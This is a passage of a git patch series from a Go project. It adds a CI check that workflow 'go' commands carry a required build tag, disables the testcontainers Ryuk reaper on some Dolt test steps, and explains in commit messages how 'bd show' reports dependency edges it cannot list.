"-tags=") || strings.HasPrefix(arg, "--tags="): + _, lastTags, _ = strings.Cut(arg, "=") + found = true + } + } + if !found { + return false + } + for _, tag := range strings.FieldsFunc(lastTags, func(r rune) bool { return r == ',' || unicode.IsSpace(r) }) { + if tag == "gms_pure_go" { + return true + } + } + return false +} + +// The repository's pinned-tool convention is intentionally narrow: unflagged +// external package operands with versions. For go run, later words are program +// arguments; for go install, every package operand must qualify. +func exemptVersionedTool(goArgs []string) bool { + if len(goArgs) < 2 || (goArgs[0] != "run" && goArgs[0] != "install") { + return false + } + packages := goArgs[1:] + if goArgs[0] == "run" { + packages = packages[:1] + } + for _, pkg := range packages { + at := strings.LastIndexByte(pkg, '@') + if at <= 0 || at == len(pkg)-1 || strings.HasPrefix(pkg, ".") || strings.HasPrefix(pkg, "/") || !strings.Contains(pkg[:at], "/") { + return false + } + } + return true +} + +func trailingUnquotedBackslash(line string) bool { + trimmed := strings.TrimRightFunc(line, unicode.IsSpace) + if !strings.HasSuffix(trimmed, "\\") { + return false + } + backslashes := 0 + for i := len(trimmed) - 1; i >= 0 && trimmed[i] == '\\'; i-- { + backslashes++ + } + return backslashes%2 == 1 +} + +// tokenize covers only the simple command source forms owned by this check. +// At the first unquoted shell operator it returns the first simple command. +func tokenize(line string) ([]string, error) { + var words []string + var word strings.Builder + var quote rune + escaped := false + flush := func() { + if word.Len() > 0 { + words = append(words, word.String()) + word.Reset() + } + } + + for _, r := range strings.TrimSpace(line) { + if escaped { + word.WriteRune(r) + escaped = false + continue + } + if quote != 0 { + if r == quote { + quote = 0 + } else if r == '\\' && quote == '"' { + escaped = true + } else { + word.WriteRune(r) + } + continue + } + switch { + case r == '\\': + escaped = true + case r == '\'' || r == '"': + quote = r + case unicode.IsSpace(r): + flush() + case r == '#' && word.Len() == 0: + return words, nil + case r == '#': + word.WriteRune(r) + case r == ';' || r == '|' || r == '&': + flush() + return words, nil + default: + word.WriteRune(r) + } + } + if escaped || quote != 0 { + return nil, fmt.Errorf("unterminated quote or escape") + } + flush() + return words, nil +} diff --git a/scripts/workflowtags/workflowtags_test.go b/scripts/workflowtags/workflowtags_test.go new file mode 100644 index 000000000..46dec9af9 --- /dev/null +++ b/scripts/workflowtags/workflowtags_test.go @@ -0,0 +1,204 @@ +package workflowtags + +import ( + "os" + "path/filepath" + "testing" +) + +func TestCheckRun(t *testing.T) { + tests := []struct { + name string + run string + violations int + // wantLine, when non-zero, pins the reported physical line of a single + // violation. The Line field is the operator-facing half of this check — + // it is what the error message points at — and nothing asserted it, so a + // regression that reported every violation at line 1 would have been + // invisible. Only meaningful on multi-line runs. + wantLine int + }{ + {name: "direct tagged", run: `go test -tags=gms_pure_go ./...`}, + {name: "double dash tagged", run: `go build --tags=gms_pure_go ./...`}, + {name: "double dash tag operand", run: `go test --tags "netgo,gms_pure_go" ./...`}, + {name: "assignment prefix", run: `CGO_ENABLED=0 go build -tags "netgo,gms_pure_go" ./cmd/bd`}, + {name: "env prefix", run: `env CGO_ENABLED=0 go test '-tags=integration,gms_pure_go' ./...`}, + {name: "env unset", run: `env -u GOFLAGS go test ./...`, violations: 1}, + {name: "env long unset operand", run: `env --unset GOFLAGS go test ./...`, violations: 1}, + {name: "env long unset", run: `env --unset=GOFLAGS go test ./...`, violations: 1}, + {name: "env chdir", run: `env -C /tmp go build ./cmd/bd`, violations: 1}, + {name: "env long chdir", run: `env --chdir /tmp go build ./cmd/bd`, violations: 1}, + {name: "env ignore environment tagged", run: `env -i go test -tags=gms_pure_go ./...`}, + {name: "env double dash", run: `env -- go test ./...`, violations: 1}, + {name: "timed command", run: `ci_time "label mentions go test" -- go test -tags gms_pure_go ./...`}, + {name: "quoted hash", run: `go test -tags=gms_pure_go -run 'Test#Case' ./...`}, + {name: "continuation", run: "go test \\\n -tags=gms_pure_go \\\n ./..."}, + {name: "pinned install", run: `go install example.com/tool@v1.2.3`}, + {name: "multiple pinned installs", run: `go install example.com/tool@v1.2.3 example.com/other@latest`}, + {name: "pinned run", run: `go run example.com/tool@latest`}, + {name: "pinned run arguments", run: `go run example.com/tool@latest --help`}, + {name: "pinned tool with flags is outside exemption", run: `go install -pgo off example.com/tool@v1.2.3`, violations: 1}, + {name: "bare", run: `go test ./...`, violations: 1}, + {name: "source is not workflow authority", run: "source ./.buildflags\ngo test ./...", violations: 1, wantLine: 2}, + // The continuation case above is tagged, so it reports no violation and + // cannot show which physical line a continued command is attributed to. + // This is the same shape that does violate, so the attribution is + // observable: a logical line spanning three physical ones must be + // reported at the first. + {name: "continuation reports the first physical line", run: "go test \\\n -race \\\n ./...", violations: 1, wantLine: 1}, + {name: "variable tag", run: `go build -tags "$BEADS_BUILD_TAGS" ./cmd/bd`, violations: 1}, + {name: "double dash variable tag", run: `go build --tags="$BEADS_BUILD_TAGS" ./cmd/bd`, violations: 1}, + {name: "tag substring prefix", run: `go test -tags=notgms_pure_go ./...`, violations: 1}, + {name: "tag substring suffix", run: `go test -tags=gms_pure_go_extra ./...`, violations: 1}, + {name: "last tag wins negative", run: `go test -tags=gms_pure_go -tags=integration ./...`, violations: 1}, + {name: "last tag wins positive", run: `go test -tags=integration -tags=gms_pure_go ./...`}, + {name: "last double dash tag wins negative", run: `go test -tags=gms_pure_go --tags=integration ./...`, violations: 1}, + {name: "last double dash tag wins positive", run: `go test -tags=integration --tags=gms_pure_go ./...`}, + {name: "last single dash tag wins negative", run: `go test --tags=gms_pure_go -tags=integration ./...`, violations: 1}, + {name: "last single dash tag wins positive", run: `go test --tags=integration -tags=gms_pure_go ./...`}, + {name: "empty double dash tag overrides", run: `go test -tags=gms_pure_go --tags= ./...`, violations: 1}, + {name: "missing double dash tag overrides", run: `go test -tags=gms_pure_go --tags`, violations: 1}, + {name: "tag after separator", run: `go test ./... -- -tags=gms_pure_go`, violations: 1}, + {name: "double dash tag after separator", run: `go test ./... -- --tags=gms_pure_go`, violations: 1}, + {name: "tag after test args", run: `go test ./... -args -tags=gms_pure_go`, violations: 1}, + {name: "double dash tag after test args", run: `go test ./... -args --tags=gms_pure_go`, violations: 1}, + {name: "tag after double dash test args", run: `go test ./... --args -tags=gms_pure_go`, violations: 1}, + {name: "double dash tag after double dash test args", run: `go test ./... --args --tags=gms_pure_go`, violations: 1}, + {name: "tag before double dash test args", run: `go test --tags=gms_pure_go ./... --args --tags=integration`}, + {name: "missing tag value", run: `go test -tags ./...`, violations: 1}, + {name: "unrelated version text", run: `go run ./cmd/bd --label @v1`, violations: 1}, + {name: "unquoted hash is argument text", run: `go test -run Test#Case -tags=gms_pure_go ./...`}, + {name: "compound suffix outside bounded command", run: `go test -tags=gms_pure_go ./... && go test ./...`}, + {name: "compound suffix cannot authorize first command", run: `go test ./... && go test -tags=gms_pure_go ./...`, violations: 1}, + {name: "dynamic shell excluded", run: `bash -c 'go test ./...'`}, + {name: "eval excluded", run: `eval 'go test ./...'`}, + {name: "substitution excluded", run: `out="$(go test ./...)"`}, + {name: "wrapper excluded", run: `gotestsum -- -tags=gms_pure_go ./...`}, + {name: "comment ignored", run: `# explain go test behavior`}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got := CheckRun(tt.run) + if len(got) != tt.violations { + t.Fatalf("got %d violation(s), want %d: %#v", len(got), tt.violations, got) + } + if tt.wantLine != 0 { + if len(got) != 1 { + t.Fatalf("wantLine needs exactly one violation, got %d: %#v", len(got), got) + } + if got[0].Line != tt.wantLine { + t.Errorf("violation line = %d, want %d: %#v", got[0].Line, tt.wantLine, got[0]) + } + } + }) + } +} + +func TestCheckDirParsesOnlyRunScalars(t *testing.T) { + dir := t.TempDir() + fixture := `name: Explain go test behavior +jobs: + check: + steps: + - name: Inline + run: go test -tags=gms_pure_go ./... + - name: Literal + run: | + go build -tags gms_pure_go ./cmd/bd + - name: Folded + run: >- + go test + -tags=gms_pure_go + ./... +` + if err := os.WriteFile(filepath.Join(dir, "fixture.yml"), []byte(fixture), 0o600); err != nil { + t.Fatal(err) + } + violations, err := CheckDir(dir) + if err != nil { + t.Fatal(err) + } + if len(violations) != 0 { + t.Fatalf("unexpected violations: %#v", violations) + } +} + +func TestCheckDirRejectsCrossStepSourceAuthority(t *testing.T) { + dir := t.TempDir() + fixture := `jobs: + check: + steps: + - name: Source flags + run: source ./.buildflags + - name: Bare command + run: go test ./... +` + if err := os.WriteFile(filepath.Join(dir, "fixture.yml"), []byte(fixture), 0o600); err != nil { + t.Fatal(err) + } + violations, err := CheckDir(dir) + if err != nil { + t.Fatal(err) + } + if len(violations) != 1 || violations[0].Step != "Bare command" { + t.Fatalf("violations = %#v, want one in Bare command", violations) + } + // Path and Job are the rest of the operator-facing attribution: the error + // line names all three, and CheckDir is the only thing that fills them in + // (CheckRun leaves them empty), so they belong to this test. + if want := filepath.Join(dir, "fixture.yml"); violations[0].Path != want { + t.Errorf("violation path = %q, want %q", violations[0].Path, want) + } + if violations[0].Job != "check" { + t.Errorf("violation job = %q, want %q", violations[0].Job, "check") + } +} + +func TestCheckDirRejectsEmptyInventory(t *testing.T) { + if _, err := CheckDir(t.TempDir()); err == nil { + t.Fatal("CheckDir succeeded without workflow files") + } +} + +// TestCheckDirHonorsAllowBareMarker pins the file-level opt-out. This check runs +// in the required pr-policy lane, so a workflow that legitimately needs a bare +// `go` command needs a way through, and the repository already has one: +// scripts/check-build-tags.sh honors `# build-tags: allow-bare` within the first +// five lines, and engdocs/ICU-POLICY.md documents that window. The same spelling +// and the same window apply here rather than a second convention. +func TestCheckDirHonorsAllowBareMarker(t *testing.T) { + violating := `jobs: + check: + steps: + - name: Bare command + run: go test ./... +` + for _, tc := range []struct { + name string + prefix string + violations int + }{ + {name: "no marker", prefix: "", violations: 1}, + {name: "marker on the first line", prefix: "# build-tags: allow-bare\n"}, + {name: "marker on the fifth line", prefix: "#\n#\n#\n#\n# build-tags: allow-bare\n"}, + // Sixth line is outside the window the shell checker uses, so the + // opt-out must not apply -- otherwise the two checkers disagree about + // the same marker. + {name: "marker past the window", prefix: "#\n#\n#\n#\n#\n# build-tags: allow-bare\n", violations: 1}, + } { + t.Run(tc.name, func(t *testing.T) { + dir := t.TempDir() + if err := os.WriteFile(filepath.Join(dir, "fixture.yml"), []byte(tc.prefix+violating), 0o600); err != nil { + t.Fatal(err) + } + violations, err := CheckDir(dir) + if err != nil { + t.Fatal(err) + } + if len(violations) != tc.violations { + t.Fatalf("got %d violation(s), want %d: %#v", len(violations), tc.violations, violations) + } + }) + } +} From c39430e3ee04116abf58b677255c979f852abadf Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Thu, 1 Oct 2026 01:24:46 -0700 Subject: [PATCH 016/325] ci: disable Ryuk reaper on Dolt testcontainer steps to fix parallel-binary flake (#5770) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(ci): red — pin TESTCONTAINERS_RYUK_DISABLED on Dolt testcontainer steps (refs be-2on) * feat: green — pin TESTCONTAINERS_RYUK_DISABLED on Dolt testcontainer steps (refs be-2on) Sets TESTCONTAINERS_RYUK_DISABLED=true on the 5 CI step-instances that start a Dolt testcontainer from a package TestMain: pr.yml and main.yml's test-domain-uow job ("Test domain + uow + tracker" and "Test doctor/fix" steps), plus main.yml's test job "Test (with coverage + JUnit XML)" step, whose unfiltered ./... sweep runs internal/storage/dolt, internal/molecules, internal/tracker, and cmd/bd as concurrent Dolt-container-starting binaries. testcontainers-go shares one Ryuk reaper per host; when a step runs multiple such packages as concurrent test binaries, they race to attach to that shared reaper, and a failed handshake from one process reaps a sibling's live container mid-suite. GitHub Actions runners are destroyed after the job, so the reaper buys nothing there and only costs this race. * docs(release-gates): record be-9b8 deploy gate PASS * chore: remove leaked internal release-gate doc from PR branch release-gates/be-9b8-dolt-ryuk-reaper-gate.md Tracked our internal gc-management/beads-rig release-gate checklist and should never have been committed to this upstream branch -- it's process residue from our deploy tooling, not part of the change itself. Per maintainer bee-ghosttrack's request during review of PR #6571. The root cause (our deploy tooling auto-committing this file) is already fixed as of gm-qatxl1; this branch predates that fix, so this commit is cleanup only -- no other content on this branch is touched. Ref: be-lk7o3 * fix(ci): drop the inert main.yml test-job Ryuk pin; narrow the guard's universal Maintainer review fixup for PR #5770 (adopt-pr review iterations 1 and 2). Iteration 1, Finding 1 (major, correctness) — the main.yml `test` job's `./...` sweep cannot start a Dolt testcontainer, so the pin there was inert and its justification comment was false. `checkDolt` (internal/testutil/ testdoltserver.go) reaches `doltReady` only via `isDoltImageCached` (`docker image inspect`, no auto-pull), and the image's only CI source is scripts/ci/pull-dolt-image.sh, which in main.yml runs in `test-domain-uow` and `test-proxied-cmd` — not in `test` (no services: block either). The base already documents this in pr.yml's contract-corpus header ("every broad ./... job skips them for want of a Dolt store"). Took the synthesis's option (a): removed the env pin + its 7-line comment and dropped the fifth guard row, rather than keeping a dead pin. This also moots the Finding 3 nit, whose four-package list was a sample presented as a census. Iteration 1, Finding 2 part 1 (major, maintainability) — the guard's doc comment claimed it pins "every CI step that starts a real Dolt testcontainer" while the implementation is an allow-list of literal triples. Narrowed the claim to the enumerated steps, stated the scope as the `test-domain-uow` job (noting the single-package doctor/fix step is pinned for in-job consistency, not because it has an in-step sibling), and recorded the container-capable jobs left unpinned: pr.yml/contract-corpus, main.yml/test-proxied-cmd, pr-risk.yml/test-proxied-cmd, pr-risk.yml/test-server-storage(-full), regression.yml/regression, and bazel.yml's --config=docker lane — the last needing --test_env since bazel does not forward ambient environment. Part 2 (class detection) is left as follow-up. Iteration 2 (two minors, both taken): - The doctor/fix step's comment in main.yml and pr.yml read "Same shared-Ryuk-reaper race as the step above", contradicting the guard's own scope note: that step runs a single package, so no sibling test binary races it for the reaper. Both copies now say the pin is kept for consistency with the step above. - The guard's census named bazel.yml/bazel-docker, a job current main replaced (#6898) with bazel-doltserver, which defaults to --config=doltserver and pre-pulls the Dolt image only on a dolt-lane=docker dispatch. The census now names the lane by its --config=docker selector, which is accurate on this base (the bazel-docker job) and on current main (the dispatch-only A/B control), and the --test_env remark is scoped to that docker lane. Validation: git diff --check clean; ./scripts/ package green; TestDoltTestcontainerStepsDisableRyuk runs 4 subtests, matching the 4 pins exactly (main.yml x2, pr.yml x2); flipping main.yml's doctor/fix pin to "false" reds only that subtest with a step-specific message, and the file restores byte-identical. `git merge-tree --write-tree origin/main HEAD` is clean and ./scripts/ is green on the merged tree. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 --- .github/workflows/main.yml | 10 +++++++ .github/workflows/pr.yml | 10 +++++++ scripts/ci_workflow_test.go | 59 +++++++++++++++++++++++++++++++++++++ 3 files changed, 79 insertions(+) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index aed94b373..1045f28f3 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -715,6 +715,13 @@ jobs: - name: Test domain + uow + tracker env: BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure + # internal/storage/domain, internal/storage/uow, and internal/tracker + # run as concurrent package test binaries in this one invocation. + # testcontainers-go shares one Ryuk reaper per host; a failed + # handshake in one process can reap a sibling's live Dolt container + # mid-suite (be-2on). The runner is destroyed after the job, so the + # reaper buys nothing here and only costs this race. + TESTCONTAINERS_RYUK_DISABLED: "true" run: go test -tags gms_pure_go -race -count=1 -timeout 15m -v ./internal/storage/domain/... ./internal/storage/uow/... ./internal/tracker/... # The doctor/fix DB-backed suite spins its own Dolt container in @@ -725,6 +732,9 @@ jobs: env: BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure BEADS_FIX_REQUIRE_DOLT: "1" + # Pinned for consistency with the step above: this single-package + # step has no sibling test binary to race for the reaper (be-2on). + TESTCONTAINERS_RYUK_DISABLED: "true" run: go test -tags gms_pure_go -race -count=1 -timeout 10m -v ./cmd/bd/doctor/fix/ main-linux-integration-packages: diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index e4778ab42..78641a42c 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -1070,6 +1070,13 @@ jobs: - name: Test domain + uow + tracker env: BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure + # internal/storage/domain, internal/storage/uow, and internal/tracker + # run as concurrent package test binaries in this one invocation. + # testcontainers-go shares one Ryuk reaper per host; a failed + # handshake in one process can reap a sibling's live Dolt container + # mid-suite (be-2on). The runner is destroyed after the job, so the + # reaper buys nothing here and only costs this race. + TESTCONTAINERS_RYUK_DISABLED: "true" run: go test -tags gms_pure_go -race -count=1 -timeout 15m -v ./internal/storage/domain/... ./internal/storage/uow/... ./internal/tracker/... # The doctor/fix DB-backed suite spins its own Dolt container in @@ -1080,6 +1087,9 @@ jobs: env: BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure BEADS_FIX_REQUIRE_DOLT: "1" + # Pinned for consistency with the step above: this single-package + # step has no sibling test binary to race for the reaper (be-2on). + TESTCONTAINERS_RYUK_DISABLED: "true" run: go test -tags gms_pure_go -race -count=1 -timeout 10m -v ./cmd/bd/doctor/fix/ # macOS-only regressions were landing on main undetected: main.yml's Test diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 2a78f845f..60667c057 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -657,6 +657,65 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { } } +// TestDoltTestcontainerStepsDisableRyuk pins TESTCONTAINERS_RYUK_DISABLED on +// the four steps enumerated in the table below — the two Dolt-backed steps of +// the test-domain-uow job, in pr.yml and main.yml. It is an allow-list of +// literal (workflow, job, step) triples, so it catches an un-pinning +// regression on those four steps only; it does not detect the class, and a +// newly added container-starting step passes it unpinned. +// +// Why the pin: testcontainers-go shares one Ryuk reaper per host; when a step +// runs several container-starting packages as concurrent test binaries (plain +// "go test" parallelizes across packages), they race to attach to that shared +// reaper, and a failed handshake from one process reaps a sibling's live +// container mid-suite (be-2on). A GitHub Actions runner is destroyed after the +// job, so the reaper buys nothing there and only costs this race. +// +// The scope is the job, not a per-step predicate: "Test domain + uow + +// tracker" runs three container-starting package trees in one invocation and +// is the step the race is concrete on, while "Test doctor/fix" runs the single +// ./cmd/bd/doctor/fix/ package and is pinned for consistency inside the same +// job rather than because it has an in-step sibling. +// +// Left unpinned, deliberately. A step can only start a Dolt container if its +// job pre-caches the image via scripts/ci/pull-dolt-image.sh: checkDolt in +// internal/testutil gates on `docker image inspect` and never auto-pulls. The +// other jobs that do pull it are pr.yml/contract-corpus, +// main.yml/test-proxied-cmd, pr-risk.yml/test-proxied-cmd, +// pr-risk.yml/test-server-storage and -full, regression.yml/regression, and +// bazel.yml's --config=docker lane. They are out of scope for this change, not +// immune: no reap has been attributed to them, and the docker lane would +// additionally need --test_env=TESTCONTAINERS_RYUK_DISABLED=true because bazel +// does not forward ambient environment into tests. Extending the pin — and +// teaching this guard to scan for the class, the way assertGoCacheWriter below +// walks every job and step — is follow-up work on be-2on. +// +// Steps that run under BEADS_TEST_SKIP=dolt (pr-core.sh's hermetic wrapper, +// the sharded main-linux-integration-* jobs) never start a container at all +// and are correctly excluded: internal/testutil's readiness check treats +// BEADS_TEST_SKIP=dolt as an explicit opt-out before it ever reaches Docker. +func TestDoltTestcontainerStepsDisableRyuk(t *testing.T) { + type doltContainerStep struct { + workflow string + job string + step string + } + + steps := []doltContainerStep{ + {"pr.yml", "test-domain-uow", "Test domain + uow + tracker"}, + {"pr.yml", "test-domain-uow", "Test doctor/fix (Dolt-backed, hard-require container)"}, + {"main.yml", "test-domain-uow", "Test domain + uow + tracker"}, + {"main.yml", "test-domain-uow", "Test doctor/fix (Dolt-backed, hard-require container)"}, + } + + for _, tc := range steps { + t.Run(tc.workflow+"/"+tc.job+"/"+tc.step, func(t *testing.T) { + job := readCIWorkflow(t, tc.workflow).job(t, tc.job) + assertStepEnvValue(t, job, tc.step, "TESTCONTAINERS_RYUK_DISABLED", "true") + }) + } +} + func TestPRPreflightPlatformsRunsTestScriptPrebuiltBinaryContract(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, "pr-preflight-platforms") From 652c29b80559a259d0c5567685517eb6cdfaaf9f Mon Sep 17 00:00:00 2001 From: mtccressall <63864460+mtccressall@users.noreply.github.com> Date: Thu, 1 Oct 2026 02:29:36 -0600 Subject: [PATCH 017/325] fix(show): disclose dependency edges the listing cannot represent (be-lpi) (#6352) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(show): disclose dependency edges the listing cannot represent (be-lpi) `bd show --json` emitted a self-contradicting payload on any issue with a cross-repo or `external:` dependency: {"id":"hq-cv-ftcra","dependency_count":1,"dependencies":null} and `bd show` in text mode rendered no dependency section at all, so `bd dep add x liveop-y` reported success and the `bd show x` a caller ran straight after was indistinguishable from the edge never having been written. THE COUNT IS CORRECT. THE ENUMERATION IS THE DEFECT. `GetDependenciesWithMetadataInTx` reads the edge rows, resolves each far end, then does a bare `continue` past any id with no local row. An `external:` or cross-repo target HAS no local row by construction: `IsExternalDepTarget` routes exactly the ids this database cannot hold into `depends_on_external`, the one target column with no foreign key into issues. The count queries have no such join. So the count keeps the edge and every listing drops it, and the difference is precisely the set of edges that are real, stored, and unrenderable from here. Reported as a phantom count on convoy beads. It is neither phantom nor convoy-specific: `hq-cv-ftcra` carries a real `tracks` edge to `external:liveop:liveop-kmf`, and convoys are simply the only producer of external targets in that store (77 external edges, all `tracks`). The `bd list --json` zero the report also cites is correct by design and unrelated — that count is blocks-only per `SearchCountsSQL`, and the edge is `tracks`. Publish the difference instead of leaving the caller to infer it, following the `comments_omitted` precedent (ga-clgh): - `IssueDetails` gains `unresolvable_dependencies` / `unresolvable_dependents` - `BuildIssueDetails` sets them, so every frontend — CLI `--json` and the HTTP detail view — gets it at once - text mode says the same thing on stderr, never stdout, so the rendered issue is byte-identical for the common fully-local case; that is the choice `warnDroppedDepEdges` already made in dep.go for this same gap - the notice helper is shared with the watch-mode render so the two cannot drift apart in what they disclose Set ONLY when the row list was actually read and came back short: the dependency read's error is now kept rather than discarded, because a FAILED read and a SHORT read both leave the slice empty and must not collapse into one signal. `unresolvable_dependents` only under `IncludeDependents`, where the rows exist — without them the slice is nil by design and a delta would report every dependent an issue has as unresolvable. Deliberately NOT done: making the count match the listing. The count is right and the edge is real, so zeroing it would delete the only signal these edges exist. Nor does `GetDependenciesWithMetadata` synthesise placeholder issues for external targets — it has 14 non-test call sites including the Linear, GitLab, Jira and ADO sync paths, which would then map a fabricated issue onto a remote tracker. `bd dep list` needed no change: bd-mtla already warns there and points at `bd dep list `, which prints the raw edge record. The installed v1.2.2 predates that fix, which is why the bead's measurements saw a bare `[]`. Tests. `internal/workapi/detail_unresolvable_test.go` pins the arithmetic against a source whose counts and rows are set independently, with negative controls for a fully local store, a failed row read, a failed count read, and count-only mode. `cmd/bd/show_unresolvable_deps_embedded_test.go` drives the production path — init, create, `dep add`, `show` — for both target shapes plus a fully local control, and asserts the notice reaches stderr and not stdout. Verified the scratch fixture's stored columns are identical to the production row rather than merely similar. Sabotage control run on both tiers: removing the guard turns each red, and the negative controls stay green. `docs/reference/json-schema.md` is intentionally untouched — it is hand-written and documents the pinned release (`docs/cli-docs.pin` is v1.2.2), not main. Follow-up filed as be-soj. Agent-Signature: claude-code-claude-opus-5[1m]-unknown-reasoning on behalf of Marc Cressall Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_017B2Z4eQi2a9Cgfumj2RRnR Executed-By: beadsrig/polecats/toast * fix(show): do not read a failed dependency listing as unresolvable edges (be-lpi) Codex review of the previous commit, and it is right. `bd show` renders dependencies best effort and discarded the listing error: depsWithMeta, _ := issueStore.GetDependenciesWithMetadata(ctx, issue.ID) so when that read FAILED while the count query succeeded, the new notice reported every counted edge as cross-repo/external. A transient backend error was rendered as a claim about the data, which is the more expensive of the two mistakes — the user goes looking for edges that are simply unread. This is the distinction `BuildIssueDetails` already draws with `depsErr` on the JSON side, and it is the reason that error is kept there. The text path did not draw it at all, so the two planes disagreed under failure: `--json` stayed silent and the human render accused the data. Carry each direction's rows and error together in a `depListing` and require BOTH reads to have succeeded before reporting a difference. Rendering stays best effort; only the diagnosis is gated. A failure in one direction no longer suppresses the other, which is a case the single-error shape could not express. `cmd/bd/show_unresolvable_deps_unit_test.go` pins it: 10 cases including the two the review found, a fully local negative control, a failed count read, and one direction failing while the other stays reportable. Sabotage control — relaxing the guard back to `countErr != nil` alone fails exactly the two listing-read-failed cases and nothing else. Reuses the existing race-safe `captureStderr` from test_helpers_pure_test.go rather than a second copy. Agent-Signature: claude-code-claude-opus-5[1m]-unknown-reasoning on behalf of Marc Cressall Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_017B2Z4eQi2a9Cgfumj2RRnR Executed-By: beadsrig/polecats/toast * fix(show): read the dependency counts before the row listings (be-lpi) Second codex finding on this change, and it is real on the path `bd show` actually uses. The unresolvable-edge difference is computed from two reads. Where the source is not snapshot-consistent, a write landing between them skews it — and with the listing read first the skew was the expensive direction: a freshly added, perfectly ordinary local edge came back as `unresolvable_dependencies: 1` and as a stderr notice accusing the data. Only the store-backed source is exposed. `uow.issueReader.Get` wraps the whole build in `RunTxRead`, so the UOW path shares one snapshot; `storereader` — what `EmbeddedDoltStore.IssueReader` returns, and therefore what `bd show` runs on — issues a connection per call. Read the counts FIRST. An edge added in the window then leaves the count stale-LOW, the difference goes negative, and nothing is reported. The text path gets the same order structurally: the helper is split into `readDepCounts`, called before the listings, and `warnUnresolvableDepEdges`, called after, so the ordering is visible at both call sites rather than buried. THIS IS AN ORDERING MITIGATION, NOT A FIX, and the code says so. A concurrent DELETE still leaves the count stale-HIGH and produces a spurious notice. Closing that needs a shared snapshot across the two reads, or a store method that counts edges whose target has no row directly — either is a new seam across both backends and the domain path, out of proportion to an advisory field. Filed separately. Deletion of a dependency edge is also far rarer than addition, which is why this ordering is strictly better rather than merely different. The first version of the JSON-side test DID NOT PIN THE ORDER. It used a source returning fixed values, so reversing the two reads still passed — a test pinning arithmetic while claiming to pin an order, and the sabotage run is what caught it. Replaced with `mutatingSource`, where whichever read runs first sees one edge and the second sees two; swapping the reads in `BuildIssueDetails` now fails with exactly the false report the review described. The text-side case is relabelled to say it covers the subtraction only, since the call-site order is not in its scope. Agent-Signature: claude-code-claude-opus-5[1m]-unknown-reasoning on behalf of Marc Cressall Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_017B2Z4eQi2a9Cgfumj2RRnR Executed-By: beadsrig/polecats/toast * fix(show): disclose unrenderable dep edges in proxied render (be-lpi) `bd show` has three text renders and be-lpi closed two of them. usesProxiedServer() returns at show.go:45 before any of the fixed code, and runShowProxiedDefault binds the shared issueops.Reader -- hence BuildIssueDetails, hence unresolvable_dependencies -- only when `jsonOutput && !in.shortMode`, so plain text falls through to proxiedRenderIssue, which rendered both dependency sections from proxiedListDeps with discarded errors and said nothing. On a server-backed repo the change`s own symptom survived: a cross-repo or `external:` dependency still rendered as no dependency at all. Call warnUnresolvableDepEdges from that route too, counts before the listings, taking the counts through workapi.NewUOWDetailSource. The domain use cases behind a proxied UOW are per-table, so proxiedDepCounter carries the isWisp flag the DetailSource counts take. That flag is arithmetically inert on this path, and the earlier claim here that the store seam "resolves" it was the wrong mechanism: the repository read seam discards it outright -- CountByID forwards only Direction and Types to CountDependencyEdgesInTx, and ListWithIssueMetadata forwards only the source id to Get{Dependencies,Dependents}WithMetadataInTx (dependency.go:888-917) -- so both sides span `dependencies` and `wisp_dependencies` alike and only the mutating paths pick a table. The conclusion is unchanged and is what the notice depends on: the arithmetic is the same on both routes, because CountDependencyEdgesInTx counts `dependencies` plus `wisp_dependencies` with no join to `issues`, and proxiedListDeps runs the very GetDependenciesWithMetadataInTx the direct route runs, so the difference means here what it means there. --refs and --children stay out of scope: an alternate query with no count beside it to contradict. The precedent this design cites, warnDroppedDepEdges, covers both of its own routes (dep.go:1148, dep_proxied_server.go:457), which is the in-repo standard applied here. Pinned by TestProxiedServerShow2/show_discloses_unresolvable_dep_edges with a fully-local negative control. Measured, not assumed: deleting the new call reds the first and leaves the control green. Also from the same review, all non-gating: - The recovery pointer is outbound-only now. `bd dep list ` reaches raw edge records through the duplicate-id form, which dep.go:1101 selects on `batchMode && direction == "down"`, and dep.go:1144 says in the repo`s own words that "up" has the same gap with no inbound EdgeReader role to close it. An issue short only on dependent edges was handed a command that cannot show them, and now gets a line saying so instead. - The ordering comment no longer advertises a guarantee nothing holds. Splitting readDepCounts from warnUnresolvableDepEdges makes the counts-first order readable at the call sites; it does not pin it. Measured: reversing it at all three sites leaves this package green, including the embedded production-path test, because the unit test drives warnUnresolvableDepEdges directly and no CLI test can land a write inside the window. The only automated pin is one tier down, on TestBuildIssueDetails_ConcurrentAddIsNotReportedAsUnresolvable. A CLI test that could fail on the order would have to own that window, which is out of proportion for an advisory notice, so the comment now states its scope rather than overstating it. - The plane asymmetry is documented rather than changed: text mode reads dependents unconditionally and always discloses the inbound direction, while unresolvable_dependents needs include_dependents (--json only). The per-field restriction is the correct half -- without the rows a delta would call every dependent unresolvable -- so the godoc and the spec description record the disagreement. One correction to be-lpi`s own commit message, which cannot be amended from here: enumerating the edges via issueStore.EdgeReader() is not "a new seam across both backends and the domain path" on the CLI path. EdgeReader() sits on the variable that path already holds (storage.go:235, used at show.go:177). The concurrent-DELETE residual still stands on the two-reads argument alone, which remains true of ReadEdges plus a set difference. Review iteration 2 